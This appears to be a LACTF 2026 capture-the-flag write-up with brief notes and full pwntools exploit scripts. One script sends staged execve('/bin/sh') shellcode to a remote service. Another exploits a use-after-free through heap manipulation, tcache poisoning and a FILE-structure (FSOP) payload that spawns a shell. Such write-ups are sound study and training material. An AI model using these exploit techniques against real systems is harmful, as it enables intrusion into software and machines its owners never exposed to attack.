LACTF2026
tic-tac-no
use minus-index based oob
scrabasm
do read in syscall to chain shellcode
[~/dc/ctf/la/scrabasm]$cat s.py
#!/usr/bin/env python3
from pwn import *
from icecream import ic
import subprocess
context.arch = 'amd64'
context.log_level = 'info'
shellcode = asm("""
mov rsi, rax
xor eax, eax
xor edi, edi
cdq
mov dl, 0x60
syscall
jmp rsi
""")
print(shellcode.hex())
print(len(shellcode))
#io = process('./chall')
io = remote("chall.lac.tf", 31338)
result = subprocess.run(['./solve'], capture_output=True, text=True)
swaps = [int(x) for x in result.stdout.strip().split('\n')]
log.info(f"Swaps: {swaps}")
ic(io.recvuntil(b'>'))
for pos, count in enumerate(swaps):
for _ in range(count):
io.sendline(b'1')
io.sendline(str(pos).encode())
#gdb.attach(io)
io.sendline(b'2')
a = asm("call $+0x10")
a = a.ljust(14, b"\x90")
a+= asm("jmp rsi")
a+= asm("nop")*0x8
a+= asm("""
xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall
""")
io.send(a)
io.interactive()
tacademy
the bug was obviously uaf in delete_note().
0040153d int64_t delete_note()
0040154e int32_t rax_1 = get_note_index()
00401571 free(mem: *((sx.q(rax_1) << 3) + ¬es))
0040158a *((sx.q(rax_1) << 3) + ¬es) = 0
004015a3 return puts(str: "Note deleted!")
there was 2 slot we can save the pointer. also, the size was restricted to less than 0xf0. thus, I did heap feng shui to setting up large heap space. then I falsified the size of chunk to create unsorted bins (chunk with chunk_size>0x400 will be connected to unsorted bins directly).
from pwn import *
from icecream import ic
import sys
import re
import inspect
e = ELF("chall_patched",checksec=False)
libc = ELF("libc.so.6",checksec=False)
ld = ELF("ld-linux-x86-64.so.2",checksec=False)
nc = "nc chall.lac.tf 31144"
if "nc" in nc:
HOST = nc.split(" ")[1]
PORT = int(nc.split(" ")[2])
if "http" in nc:
from urllib.parse import urlparse
HOST = urlparse(nc).hostname
PORT = urlparse(nc).port
dbg = 1
g_script = """
#set max-visualize-chunk-size 0x300
"""
context.binary = e
if len(sys.argv) > 1:
io = remote(host=HOST,port=PORT)
else:
io = e.process()
if dbg:
gdb.attach(io,g_script)
context.timeout = 100
s = lambda b: io.send(b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda b: io.sendline(b)
sln = lambda b: io.sendline(str(b).encode())
sla = lambda a,b: io.sendlineafter(a,b)
r = lambda : io.recv(timeout=100)
rn = lambda a : io.recv(a,timeout=100)
ru = lambda b : io.recvuntil(b,timeout=100)
rl = lambda : io.recvline(timeout=100)
pu32= lambda b : u32(b.ljust(4,b"\0"))
pu64= lambda b : u64(b.ljust(8,b"\0"))
fsp = lambda b : f"%{b}$p".encode()
shell = lambda : io.interactive()
def hl(v: int): print(f"{(m := re.search(r'hl\s*\(\s*(.+?)\s*\)', inspect.getframeinfo(inspect.currentframe().f_back).code_context[0].strip())) and m.group(1) or '?'}: {hex(v)}")
payload = b""
def pay(*args, **kwargs): global payload; payload = b"".join([a if type(a) == bytes else (a.encode() if type(a) == str else p64(a)) for a in args])
def create(idx,sz,content):
sln(1)
sln(idx)
sln(sz)
s(content)
ic(r())
def delete(idx):
sln(2)
sln(idx)
ic(r())
def read(idx):
sln(3)
sln(idx)
for i in range(0xf):
if i == 8:
create(0,0x8+0x10*i,b"A"*0x18+p64(0x71))
create(1,0x8+0x10*i,b"A")
delete(0)
delete(1)
else:
create(0,0x8+0x10*i,b"A")
create(1,0x8+0x10*i,b"A")
delete(0)
delete(1)
create(0,1,b"A"*0x20)
read(0)
ru(b"A"*0x20)
leak = pu64(rl().strip())
hl(leak)
delete(0)
create(0,1,b"A"*0x28)
read(0)
ru(b"A"*0x28)
key = pu64(rl().strip())
hl(key)
pay(
b"A"*0x10,
0,
0x20,
leak
)
delete(0)
create(0,1,payload)
create(1,8,b"B")
pay(
b"A"*0x10,
0,
0x461,
)
delete(0)
create(0,1,payload)
delete(1)
delete(0)
create(0,1,b"A"*0x20)
read(0)
ru(b"A"*0x20)
arena = pu64(rl().strip())
hl(arena)
libc.address = arena - (0x7a490921ace0 - 0x00007a4909000000)
hl(libc.address)
delete(0)
pay(
b"A"*0x10,
0, 0x461,
arena, arena,
0, 0x31,
leak,key,
0,0,
0,0x31,
libc.sym["_IO_list_all"]^leak,
)
create(0,1,payload)
def fsop_IO_list_all(addr):
fs = b"/bin/sh".ljust(8, b'\0')
fs += p64(1)
fs += p64(libc.sym["system"])
fs += b"\x00" * (0x88 - len(fs))
fs += p64(addr+0x18)
fs += b"\x00" * (0xa0 - len(fs))
fs += p64(addr - 0x10)
fs += b"\x00" * (0xc0 - len(fs))
fs += p32(1)
fs += b"\x00" * (0xd0 - len(fs))
fs += p64(addr - 0x8)
fs += p64(libc.sym["_IO_wfile_jumps"] + 0x48 - 0x18)
return fs
delete(0)
create(0,0x20,b"A"*0x10)
create(1,0x20,p64((leak<<12)+0x1090))
delete(0)
create(0,0xe8,fsop_IO_list_all((leak<<12)+0x1090))
sln(4)
sl(b"cat flag*")
shell()
Last modified: 17 February 2026